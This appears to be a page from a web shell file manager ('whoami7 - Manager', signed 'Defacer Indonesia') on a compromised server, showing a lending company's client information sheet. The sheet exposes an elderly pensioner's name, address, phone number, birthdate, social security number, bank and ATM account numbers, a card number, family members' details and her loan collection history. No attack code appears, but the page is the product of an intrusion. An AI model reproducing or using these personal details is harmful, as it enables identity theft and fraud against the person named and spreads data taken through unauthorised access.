whoami7 - Manager
:
/
home
/
gracious
/
mail
/
ledgerless.graciousphils.com
/
ledgers
/
314
/
Upload File:
files >> /home/gracious/mail/ledgerless.graciousphils.com/ledgers/314/31461.TXT
CLIENT INFORMATION SHEET Client Status # : 30690 Date : February 29, 2024 1. CLIENT PROFILE | DECLARED DEPENDENT/S: I.D. Number : 31461 *** RELEASED: Nov-15-2019 *** | Name Birth Age Name/Type : Gantalao, Soledad G. (RT) | --------------- ----------- --- Address : #96 Guiho St., Cembo Guadalupe | John carlo Aug-09-2004 20 Makati city | Phone Nos. : 09063237629| | Birthday/Age: October 29, 1950 (73 yrs.) | Debit/Acct. : _________________________/_____________| Email Addr. : _______________ | Facebook : _______________ | SSS/Coll.Day: 0368058642 (029) | Spouse : Teotimo-12131945 | --------------------------------------------------------------------------------------------- 2. ACCOUNT STATUS | OUTSTANDING LOAN/S: Bank/Acct : P.N.B.-Guadalupe (PNGDL) | ATM460210800018 Bankbal: 391.00 | * NO OUTSTANDING LOANS * Inst. Currnt: P 0.00 Pension: 2,400.00 | Latest: P 0.00 Coll'n.: 1,000.00 | Balance Term: 0 Mos Cntngnt: 10-29-2010 | Overdue : P 0.00 | Sukli Bal. : P 0.00 | Total O.B. : P 0.00 | L.C./Office : Cortejos, Imelda (IC2)/MKT | Coll'n Alert: update bank balance (OUB) | Co-Maker : *** none *** | : *** none *** | Concerns : Dependent near 21! ___ ______________ | Client age: 70 up ___ ______________ | --------------------------------------------------------------------------------------------- ADDITIONAL NOTES/REMARKS: | DATE REFERENCE STS COLLECTION INSTALLS A/P acop 102016 ok... bank bal...146.83 | ----------- ------------ --- ---------- ---------- ---------- card # 5921080110033118 | Oct-29-2018 Oct'18 Colln 2,500.00 2,000.00 500.00 water bill under client's name | Nov-06-2018 Sukli Pst Nov 6'18 -500.00 referred by id#25665- asawa domingo, edna ** pines | Nov-29-2018 Nov'18 Colln 2,400.00 2,000.00 400.00 05272016 | Dec-03-2018 Sukli Pst Dec 3'18 -400.00 emv card not available pines | Dec-10-2018 Dec'18 Prblm OUB update bank balance | Dec-11-2018 Adjst sent by col | Jun-20-2019 Jun'19 Prblm OCV CHANGE TO EMV ATM | Jun-29-2019 Jun'19 Colln 2,200.00 2,200.00 | Jul-01-2019 Sukli Pst Jul 1'19 -2,200.00 | Jul-29-2019 Sukli Pst Jul 29'19 -2,500.00 | Jul-30-2019 Jul'19 Colln 2,500.00 2,500.00 | Aug-30-2019 Aug'19 Colln 2,400.00 2,000.00 400.00 | Sep-06-2019 Sukli Pst Sep 6'19 -400.00 | Sep-30-2019 Sep'19 Colln 2,500.00 2,000.00 500.00 | Sep-30-2019 Sukli Pst Sep 30'19 -400.00 | Oct-29-2019 Oct'19 Colln 2,400.00 2,000.00 400.00 | Nov-04-2019 Sukli Pst Nov 4'19 -500.00 | Nov-11-2019 Nov'19 Prblm OUB update bank balance | Nov-12-2019 Adjst send by col _____________________ _________________________ ____________________________________ Analyst Interviewer Client Conforme (Signature Verified)
Copyright ©2021 || Defacer Indonesia